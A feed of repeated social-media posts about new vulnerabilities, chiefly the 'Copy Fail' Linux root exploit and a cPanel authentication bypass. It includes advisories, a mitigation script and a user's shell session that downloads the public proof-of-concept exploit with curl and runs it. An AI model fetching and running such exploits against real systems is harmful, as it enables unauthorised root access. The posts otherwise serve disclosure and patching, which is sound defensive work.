🚨 CRITICAL auth bypass in cPanel & WHM (CVE-2026-41940, CVSS 9.3) lets unauthenticated attackers access the control panel. Patch not confirmed — restrict interface to trusted IPs & monitor advisories. https://radar.offseq.com/threat/cve-2026-41940-cwe-306-missing-authentication-for--3aceec8f #OffSeq #cPanel #Vulnerability #Infosec

Major authentication bypass disclosed in cPanel

https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026

🔴 CVE-2026-41940 - Critical (9.8)

cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized acc...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41940/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

@mttaggart Detailed analysis by Watchtowr: https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940) https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)
#CVE_2026_41940
https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940) - watchTowr Labs https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

🚨 CRITICAL auth bypass in cPanel & WHM (CVE-2026-41940, CVSS 9.3) lets unauthenticated attackers access the control panel. Patch not confirmed — restrict interface to trusted IPs & monitor advisories. https://radar.offseq.com/threat/cve-2026-41940-cwe-306-missing-authentication-for--3aceec8f #OffSeq #cPanel #Vulnerability #Infosec

Major authentication bypass disclosed in cPanel

https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026

🔴 CVE-2026-41940 - Critical (9.8)

cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized acc...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41940/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

@mttaggart Detailed analysis by Watchtowr: https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)
#CVE_2026_41940
https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940) - watchTowr Labs https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

Joker voice: Just wait 'til malicious agents and oberly aggressive users get a load of CVE-2026-31431

So... came home to a proverbial tire fire. CVE-2026-31431

Yay. I am bold and DGAF so I made the call to shut off all login access (a call backed up by my peers shortly after).

Users who don't check their mail, look at status, or check our websites will be sending in 'URGENT' tickets any minute now.

Very unfortunate that the fix for CVE-2026-31431 isn't easily backportable, with a new API being added, and then its implementation details changing, since the last LTS (6.12 vs 6.18).

Copy Fail – CVE-2026-31431: https://copy.fail/

Discussion: http://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

@marshray doesn't work on vaguely recent F44 kernel for me.

[adamw@omnibook ~]$ curl -o /tmp/test.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py
[adamw@omnibook ~]$ python3 /tmp/test.py
Password:
su: Authentication failure
[adamw@omnibook ~]$ uname -r
6.19.13-300.fc44.x86_64

Copy Fail – CVE-2026-31431
https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

CVE-2026-31431 is a Linux LPE, PoC script roots every distribution shipped since 2017 https://copy.fail/

This is bad…
---
CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

https://copy.fail/

This is what I'm pasting into my own linux systems to implement the mitigation #cve_2026_31431 suggested at the #copyfail website.
It may not be right for you. The 'chattr +i' may make it more difficult to undo!
MIT license, or at least its disclaimers, apply.

f=disable-algif_aead-CVE-2026-31431.conf
if ! [ -d /etc/modprobe.d ]; then
printf 'This system does not seem to have a /etc/modprobe.d dir, so this script would need to be adapted.\n' >&2
return 74
else
sudo /bin/env -i /bin/sh -c 'set -x;set -e;cd /etc/modprobe.d;umask 133;printf '\''install algif_aead /bin/false\n'\'' >'"$f"';chattr +i '"$f"
fi
sudo /bin/env -i /bin/sh -c '(set -x;rmmod -v algif_aead)2>&1|grep -v "is not currently loaded"'
ls -l /etc/modprobe.d/$f
cat -t /etc/modprobe.d/$f

🚨 CVE-2026-31431 (Copy Fail)

In the Linux kernel, the following vulnerability has been resolved:

crypto: algif_aead - Revert to operating out-of-place

This mostly reverts commit 72548b093ee3 except for the copying of the associated data.

There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.

ℹ️ Additional info on ZEN SecDB https://secdb.nttzen.cloud/cve/detail/CVE-2026-31431

#nttdata #zen #secdb #infosec
#copyfail #cve202631431 #linux #kernel

https://security-tracker.debian.org/tracker/CVE-2026-31431

@krypt3ia @Viss https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

Copy Fail — CVE-2026-31431 Linux Privilege Escalation https://copy.fail/

Copy Fail – CVE-2026-31431: https://copy.fail/

Discussion: http://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431 https://copy.fail/

Wir checken Eure Linux-Distro! Kommt beim nächsten #DiDay mit euren abgehangenen 5-er Kerneln vorbei und wir halten Händchen, während wir gemeinsam exploit.py von CVE-2026-31431 ausführen.

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

Copy Fail – CVE-2026-31431: https://copy.fail/

Discussion: http://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

Hello

I am here to ruin your day again

https://copy.fail/ / CVE-2026-31431

Seems RHEL don't think this is all that important, CloudLinux's kernel image (presumably derived from RHEL) has the problem module built in, so you can't even mitigate while we wait for patching. CageFS does help as - afaict - no setuid binaries are included in the default cagefs env. Many Debian versions lack a patch at time of writing, but blocking the module did work for me.

#infosec #linux #vulnerability

@mttaggart

Editing to add:

RHEL has now updated the severity and the fix is no longer "deferred" for all affected OSes.

Looks like it requires a local user account, with a password set, to exploit, yes?

https://access.redhat.com/security/cve/cve-2026-31431

RE: https://hachyderm.io/@petrillic/116489574280084326

I have had a confirmation that it can work on the Amazon Linux kernel, but also RHEL says "fix deferred" for all affected RHEL versions: https://access.redhat.com/security/cve/cve-2026-31431

Copy Fail – CVE-2026-31431: https://copy.fail/

Discussion: http://news.ycombinator.com/item?id=47952181

I’m a bit surprised they did not wait till a patch was available for the major distros. Smells like an IPO or the next round of funding is coming soon.

You probably want to keep a close eye on any system you maintain where unprivileged users have shell access and update as soon as possible.

https://copy.fail

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

https://www.suse.com/security/cve/CVE-2026-31431.html

#copyfail

Ooooh, nice:

https://xint.io/blog/copy-fail-linux-distributions

CVE-2026-31431: Local privilege escalation to root using a trivial 732 byte python script for pretty much every Linux distribution since 2017.

#CopyFail

Copy Fail – CVE-2026-31431
https://news.ycombinator.com/item?id=47952181

#hackernews #tech

Hm https://security-tracker.debian.org/tracker/CVE-2026-31431

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431
Link: https://copy.fail/
Comments: https://news.ycombinator.com/item?id=47952181

📰 Today's Top 21 Hacker News Stories (Sorted by Score) 📰
----------------------------------------
🔖 Title: Ghostty is leaving GitHub
🔗 URL: https://mitchellh.com/writing/ghostty-leaving-github
👍 Score: [3244]
💬 Discussion: https://news.ycombinator.com/item?id=47939579
----------------------------------------
🔖 Title: Zed 1.0
🔗 URL: https://zed.dev/blog/zed-1-0
👍 Score: [1012]
💬 Discussion: https://news.ycombinator.com/item?id=47949027
----------------------------------------
🔖 Title: Bugs Rust won't catch
🔗 URL: https://corrode.dev/blog/bugs-rust-wont-catch/
👍 Score: [565]
💬 Discussion: https://news.ycombinator.com/item?id=47943499
----------------------------------------
🔖 Title: Soft launch of open-source code platform for government
🔗 URL: https://www.nldigitalgovernment.nl/news/soft-launch-for-government-open-source-code-platform/
👍 Score: [456]
💬 Discussion: https://news.ycombinator.com/item?id=47945918
----------------------------------------
🔖 Title: We need a federation of forges
🔗 URL: https://blog.tangled.org/federation/
👍 Score: [413]
💬 Discussion: https://news.ycombinator.com/item?id=47948603
----------------------------------------
🔖 Title: Online age verification is the hill to die on
🔗 URL: https://x.com/GlennMeder/status/2049088498163216560
👍 Score: [407]
💬 Discussion: https://news.ycombinator.com/item?id=47950091
----------------------------------------
🔖 Title: Mistral Medium 3.5
🔗 URL: https://mistral.ai/news/vibe-remote-agents-mistral-medium-3-5
👍 Score: [263]
💬 Discussion: https://news.ycombinator.com/item?id=47949642
----------------------------------------
🔖 Title: Cursor Camp
🔗 URL: https://neal.fun/cursor-camp/
👍 Score: [148]
💬 Discussion: https://news.ycombinator.com/item?id=47949939
----------------------------------------
🔖 Title: FastCGI: 30 years old and still the better protocol for reverse proxies
🔗 URL: https://www.agwa.name/blog/post/fastcgi_is_the_better_protocol_for_reverse_proxies
👍 Score: [118]
💬 Discussion: https://news.ycombinator.com/item?id=47950510
----------------------------------------
🔖 Title: Third Editor Fired in Elsevier's Citation Cartel Crackdown
🔗 URL: https://www.chrisbrunet.com/p/third-editor-fired-in-elseviers-citation
👍 Score: [101]
💬 Discussion: https://news.ycombinator.com/item?id=47950022
----------------------------------------
🔖 Title: Letting AI play my game – building an agentic test harness to help play-testing
🔗 URL: https://blog.jeffschomay.com/letting-ai-play-my-game
👍 Score: [98]
💬 Discussion: https://news.ycombinator.com/item?id=47947525
----------------------------------------
🔖 Title: Linux 7.0 Broke PostgreSQL: The Preemption Regression Explained
🔗 URL: https://read.thecoder.cafe/p/linux-broke-postgresql
👍 Score: [95]
💬 Discussion: https://news.ycombinator.com/item?id=47949585
----------------------------------------
🔖 Title: Copy Fail – CVE-2026-31431
🔗 URL: https://copy.fail/
👍 Score: [93]
💬 Discussion: https://news.ycombinator.com/item?id=47952181
----------------------------------------
🔖 Title: Maryland becomes first state to ban surveillance pricing in grocery stores
🔗 URL: https://www.theguardian.com/technology/2026/apr/29/maryland-grocery-stores-ban-surveillance-pricing
👍 Score: [90]
💬 Discussion: https://news.ycombinator.com/item?id=47951007
----------------------------------------
🔖 Title: GitHub – DOS 1.0: Transcription of Tim Paterson's DOS Printouts
🔗 URL: https://github.com/DOS-History/Paterson-Listings
👍 Score: [85]
💬 Discussion: https://news.ycombinator.com/item?id=47946813
----------------------------------------
🔖 Title: An open-source stethoscope that costs between $2.5 and $5 to produce
🔗 URL: https://github.com/GliaX/Stethoscope
👍 Score: [81]
💬 Discussion: https://news.ycombinator.com/item?id=47949204
----------------------------------------
🔖 Title: Improving ICU handovers by learning from Scuderia Ferrari F1 team
🔗 URL: https://healthmanagement.org/c/icu/IssueArticle/improving-handovers-by-learning-from-scuderia-ferrari
👍 Score: [46]
💬 Discussion: https://news.ycombinator.com/item?id=47947834
----------------------------------------
🔖 Title: Laws of UX
🔗 URL: https://lawsofux.com/
👍 Score: [37]
💬 Discussion: https://news.ycombinator.com/item?id=47951137
----------------------------------------
🔖 Title: Ramp's Sheets AI Exfiltrates Financials
🔗 URL: https://www.promptarmor.com/resources/ramps-sheets-ai-exfiltrates-financials
👍 Score: [31]
💬 Discussion: https://news.ycombinator.com/item?id=47951786
----------------------------------------
🔖 Title: How to Build the Future: Demis Hassabis [video]
🔗 URL: https://www.youtube.com/watch?v=JNyuX1zoOgU
👍 Score: [31]
💬 Discussion: https://news.ycombinator.com/item?id=47948664
----------------------------------------
🔖 Title: Show HN: A new benchmark for testing LLMs for deterministic outputs
🔗 URL: https://interfaze.ai/blog/introducing-structured-output-benchmark
👍 Score: [26]
💬 Discussion: https://news.ycombinator.com/item?id=47950283
----------------------------------------

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431 - https://copy.fail/

#hackernews

Copy Fail – CVE-2026-31431

https://copy.fail/

#HackerNews #CopyFail #CVE2026 #Security #Vulnerability #HackerNews #TechNews

Joker voice: Just wait 'til malicious agents and oberly aggressive users get a load of CVE-2026-31431

So... came home to a proverbial tire fire. CVE-2026-31431

Yay. I am bold and DGAF so I made the call to shut off all login access (a call backed up by my peers shortly after).

Users who don't check their mail, look at status, or check our websites will be sending in 'URGENT' tickets any minute now.

CopyFail results:

On Debian 12 (6.1.158 kernel) PoC didn't seem to work, I got prompted for a password.

On Debian 14 (6.18.5 kernel) got dropped right into a root prompt.

So this is very real. Yikes.

Proof of concept: https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

Write up: https://discourse.ifin.network/t/copy-fail-732-bytes-to-root-on-every-major-linux-distributions/342

Very unfortunate that the fix for CVE-2026-31431 isn't easily backportable, with a new API being added, and then its implementation details changing, since the last LTS (6.12 vs 6.18).

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

@marshray doesn't work on vaguely recent F44 kernel for me.

[adamw@omnibook ~]$ curl -o /tmp/test.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py
[adamw@omnibook ~]$ python3 /tmp/test.py
Password:
su: Authentication failure
[adamw@omnibook ~]$ uname -r
6.19.13-300.fc44.x86_64

全てのディストリで影響があるゼロデイの脆弱性が見つかったそうです。特権昇格が可能です。 Copy Fail — CVE-2026-31431 copy.fail

Copy Fail — 732 Bytes to Root

Copy Fail – CVE-2026-31431
https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

CVE-2026-31431 is a Linux LPE, PoC script roots every distribution shipped since 2017 https://copy.fail/

This is bad…
---
CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

https://copy.fail/

This is what I'm pasting into my own linux systems to implement the mitigation #cve_2026_31431 suggested at the #copyfail website.
It may not be right for you. The 'chattr +i' may make it more difficult to undo!
MIT license, or at least its disclaimers, apply.

f=disable-algif_aead-CVE-2026-31431.conf
if ! [ -d /etc/modprobe.d ]; then
printf 'This system does not seem to have a /etc/modprobe.d dir, so this script would need to be adapted.\n' >&2
return 74
else
sudo /bin/env -i /bin/sh -c 'set -x;set -e;cd /etc/modprobe.d;umask 133;printf '\''install algif_aead /bin/false\n'\'' >'"$f"';chattr +i '"$f"
fi
sudo /bin/env -i /bin/sh -c '(set -x;rmmod -v algif_aead)2>&1|grep -v "is not currently loaded"'
ls -l /etc/modprobe.d/$f
cat -t /etc/modprobe.d/$f

🚨 CVE-2026-31431 (Copy Fail)

In the Linux kernel, the following vulnerability has been resolved:

crypto: algif_aead - Revert to operating out-of-place

This mostly reverts commit 72548b093ee3 except for the copying of the associated data.

There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.

ℹ️ Additional info on ZEN SecDB https://secdb.nttzen.cloud/cve/detail/CVE-2026-31431

#nttdata #zen #secdb #infosec
#copyfail #cve202631431 #linux #kernel

https://security-tracker.debian.org/tracker/CVE-2026-31431

@krypt3ia @Viss https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

Copy Fail — CVE-2026-31431 Linux Privilege Escalation https://copy.fail/

Wir checken Eure Linux-Distro! Kommt beim nächsten #DiDay mit euren abgehangenen 5-er Kerneln vorbei und wir halten Händchen, während wir gemeinsam exploit.py von CVE-2026-31431 ausführen.

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

Hello

I am here to ruin your day again

https://copy.fail/ / CVE-2026-31431

Seems RHEL don't think this is all that important, CloudLinux's kernel image (presumably derived from RHEL) has the problem module built in, so you can't even mitigate while we wait for patching. CageFS does help as - afaict - no setuid binaries are included in the default cagefs env. Many Debian versions lack a patch at time of writing, but blocking the module did work for me.

#infosec #linux #vulnerability

@mttaggart

Editing to add:

RHEL has now updated the severity and the fix is no longer "deferred" for all affected OSes.

Looks like it requires a local user account, with a password set, to exploit, yes?

https://access.redhat.com/security/cve/cve-2026-31431

RE: https://hachyderm.io/@petrillic/116489574280084326

I have had a confirmation that it can work on the Amazon Linux kernel, but also RHEL says "fix deferred" for all affected RHEL versions: https://access.redhat.com/security/cve/cve-2026-31431

I’m a bit surprised they did not wait till a patch was available for the major distros. Smells like an IPO or the next round of funding is coming soon.

You probably want to keep a close eye on any system you maintain where unprivileged users have shell access and update as soon as possible.

https://copy.fail

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

https://www.suse.com/security/cve/CVE-2026-31431.html

#copyfail

Ooooh, nice:

https://xint.io/blog/copy-fail-linux-distributions

CVE-2026-31431: Local privilege escalation to root using a trivial 732 byte python script for pretty much every Linux distribution since 2017.

#CopyFail

Copy Fail – CVE-2026-31431
https://news.ycombinator.com/item?id=47952181

#hackernews #tech

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431
Link: https://copy.fail/
Comments: https://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431

Link: https://copy.fail/
Discussion: https://news.ycombinator.com/item?id=47952181

Copy Fail – CVE-2026-31431

https://copy.fail/

#HackerNews #CopyFail #CVE2026 #Security #Vulnerability #HackerNews #TechNews

🟠 CVE-2026-7424 - High (8.1)

Integer underflow in the DHCPv6 sub-option parser in FreeRTOS-Plus-TCP before V4.4.1 and V4.2.6 allows an adjacent network actor to corrupt the device's IPv6 address assignment, DNS configuration, and lease times, and to cause a denial of service ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7424/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7424 - High (8.1)

Integer underflow in the DHCPv6 sub-option parser in FreeRTOS-Plus-TCP before V4.4.1 and V4.2.6 allows an adjacent network actor to corrupt the device's IPv6 address assignment, DNS configuration, and lease times, and to cause a denial of service ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7424/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7420 - High (8.8)

A security flaw has been discovered in UTT HiPER 1250GW up to 3.2.7-210907-180535. Impacted is the function strcpy of the file route/goform/ConfigAdvideo. The manipulation of the argument Profile results in buffer overflow. The attack can be execu...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7420/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7420 - High (8.8)

A security flaw has been discovered in UTT HiPER 1250GW up to 3.2.7-210907-180535. Impacted is the function strcpy of the file route/goform/ConfigAdvideo. The manipulation of the argument Profile results in buffer overflow. The attack can be execu...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7420/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7419 - High (8.8)

A vulnerability was identified in UTT HiPER 1250GW up to 3.2.7-210907-180535. This issue affects the function strcpy of the file route/goform/formTaskEdit_ap. The manipulation of the argument Profile leads to buffer overflow. Remote exploitation o...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7419/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7419 - High (8.8)

A vulnerability was identified in UTT HiPER 1250GW up to 3.2.7-210907-180535. This issue affects the function strcpy of the file route/goform/formTaskEdit_ap. The manipulation of the argument Profile leads to buffer overflow. Remote exploitation o...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7419/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7418 - High (8.8)

A vulnerability was determined in UTT HiPER 1250GW up to 3.2.7-210907-180535. This vulnerability affects the function strcpy of the file route/goform/NTP. Executing a manipulation of the argument Profile can lead to buffer overflow. The attack may...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7418/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7418 - High (8.8)

A vulnerability was determined in UTT HiPER 1250GW up to 3.2.7-210907-180535. This vulnerability affects the function strcpy of the file route/goform/NTP. Executing a manipulation of the argument Profile can lead to buffer overflow. The attack may...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7418/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-34965 - High (8.8)

Cockpit CMS contains an authenticated remote code execution vulnerability in the /cockpit/collections/save_collection endpoint that allows authenticated attackers with collection management privileges to inject arbitrary PHP code into collection r...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-34965/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-34965 - High (8.8)

Cockpit CMS contains an authenticated remote code execution vulnerability in the /cockpit/collections/save_collection endpoint that allows authenticated attackers with collection management privileges to inject arbitrary PHP code into collection r...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-34965/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

New HIGH severity vuln: CVE-2026-42515 impacts CDAC-Noida e-Sushrut HMIS (CVSS 7.1). Authenticated users can bypass auth via manipulated API params — risking patient data. No patch yet. Restrict access & monitor vendor updates. https://radar.offseq.com/threat/cve-2026-42515-cwe-639-authorization-bypass-throug-ffcae9ae #OffSeq #Healthcare #CVE #Security

🚩 CRITICAL: CVE-2026-5166 in Pardus Software Center <1.0.3 enables path traversal — attackers may access/modify files outside restricted dirs. No patch yet. Restrict access, monitor updates. https://radar.offseq.com/threat/cve-2026-5166-cwe-22-improper-limitation-of-a-path-67023af4 #OffSeq #Vuln #Pardus #Infosec

🔴 CVE-2026-5166 - Critical (9.6)

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software Center allows Path Traversal.

This issue affects Pardus Software Center: befor...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-5166/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🚩 CRITICAL: CVE-2026-5166 in Pardus Software Center <1.0.3 enables path traversal — attackers may access/modify files outside restricted dirs. No patch yet. Restrict access, monitor updates. https://radar.offseq.com/threat/cve-2026-5166-cwe-22-improper-limitation-of-a-path-67023af4 #OffSeq #Vuln #Pardus #Infosec

🔴 CVE-2026-5166 - Critical (9.6)

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software Center allows Path Traversal.

This issue affects Pardus Software Center: befor...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-5166/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🔴 CVE-2026-30893 - Critical (9)

Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.4.0 to before version 4.14.4, a path traversal vulnerability in Wazuh's cluster synchronization extraction routine allows an authenticated...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-30893/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🔴 CVE-2026-30893 - Critical (9)

Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.4.0 to before version 4.14.4, a path traversal vulnerability in Wazuh's cluster synchronization extraction routine allows an authenticated...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-30893/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7466 - High (8.8)

AgentFlow contains an arbitrary code execution vulnerability that allows attackers to execute local Python pipeline files by supplying a user-controlled pipeline_path parameter to the POST /api/runs and POST /api/runs/validate endpoints. Attackers...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7466/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7466 - High (8.8)

AgentFlow contains an arbitrary code execution vulnerability that allows attackers to execute local Python pipeline files by supplying a user-controlled pipeline_path parameter to the POST /api/runs and POST /api/runs/validate endpoints. Attackers...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7466/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-0204 - High (8)

A vulnerability in the access control mechanism of SonicOS may allow certain management interface functions to be accessible under specific conditions.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-0204/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-0204 - High (8)

A vulnerability in the access control mechanism of SonicOS may allow certain management interface functions to be accessible under specific conditions.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-0204/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-6849 - High (8.8)

Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus OS My Computer allows OS Command Injection.

This issue affects Pardus OS My...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-6849/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-6849 - High (8.8)

Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus OS My Computer allows OS Command Injection.

This issue affects Pardus OS My...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-6849/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-5712 - High (8)

This vulnerability impacts all versions of IdentityIQ and allows an authenticated identity that is the requestor or assignee of a work item to edit the definition of a role without having an assigned capability that would allow role editing.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-5712/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-5712 - High (8)

This vulnerability impacts all versions of IdentityIQ and allows an authenticated identity that is the requestor or assignee of a work item to edit the definition of a role without having an assigned capability that would allow role editing.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-5712/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🚨 CRITICAL: CVE-2026-26015 in DocsGPT 0.15.0-0.16.0 enables unauthenticated RCE via command injection (CVSS 10). All deployments at risk — patch to 0.16.0 or later now! https://radar.offseq.com/threat/cve-2026-26015-cwe-77-improper-neutralization-of-s-ba83675d #OffSeq #Vuln #RCE #DocsGPT

🚨 CRITICAL: CVE-2026-26015 in DocsGPT 0.15.0-0.16.0 enables unauthenticated RCE via command injection (CVSS 10). All deployments at risk — patch to 0.16.0 or later now! https://radar.offseq.com/threat/cve-2026-26015-cwe-77-improper-neutralization-of-s-ba83675d #OffSeq #Vuln #RCE #DocsGPT

CVE-2026-42167 Allows Auth Bypass And RCE In ProFTPD
https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce

CVE-2026-42167 Allows Auth Bypass And RCE In ProFTPD
#CVE_2026_42167
https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce

CVE-2026-42167 Allows Auth Bypass And RCE In ProFTPD
https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce

CVE-2026-42167 Allows Auth Bypass And RCE In ProFTPD
#CVE_2026_42167
https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce

🟠 CVE-2026-42167 - High (8.1)

mod_sql in ProFTPD before 1.3.10rc1 allows remote attackers to execute arbitrary code via a username, in scenarios where there is logging of USER requests with an expansion such as %U, and the SQL backend allows commands (e.g., COPY TO PROGRAM).

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-42167/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

CRITICAL: Chrome <147.0.7727.138 on Windows is vulnerable to a use-after-free in Accessibility (CVE-2026-7344). Allows sandbox escape after renderer compromise. Patch now to mitigate risk. https://radar.offseq.com/threat/cve-2026-7344-use-after-free-in-google-chrome-1aabf4b9 #OffSeq #Chrome #Vuln #Cybersecurity

CERT/CC issued advisory VU#915947 for SGLang (an AI inference server), CVE-2026-5760, severity 9.8. A poisoned GGUF model file carries a chat-template that SGLang renders through Jinja2 with no sandbox. Arbitrary Python runs on the host. Same root cause as llama-cpp-python (2024) and vLLM (2025). Sandboxed Jinja2 existed the whole time and three frameworks left the line untouched. Any GGUF you did not build yourself runs code on load.

#AI #InfoSec #CyberSecurity #OpenSource #LLM

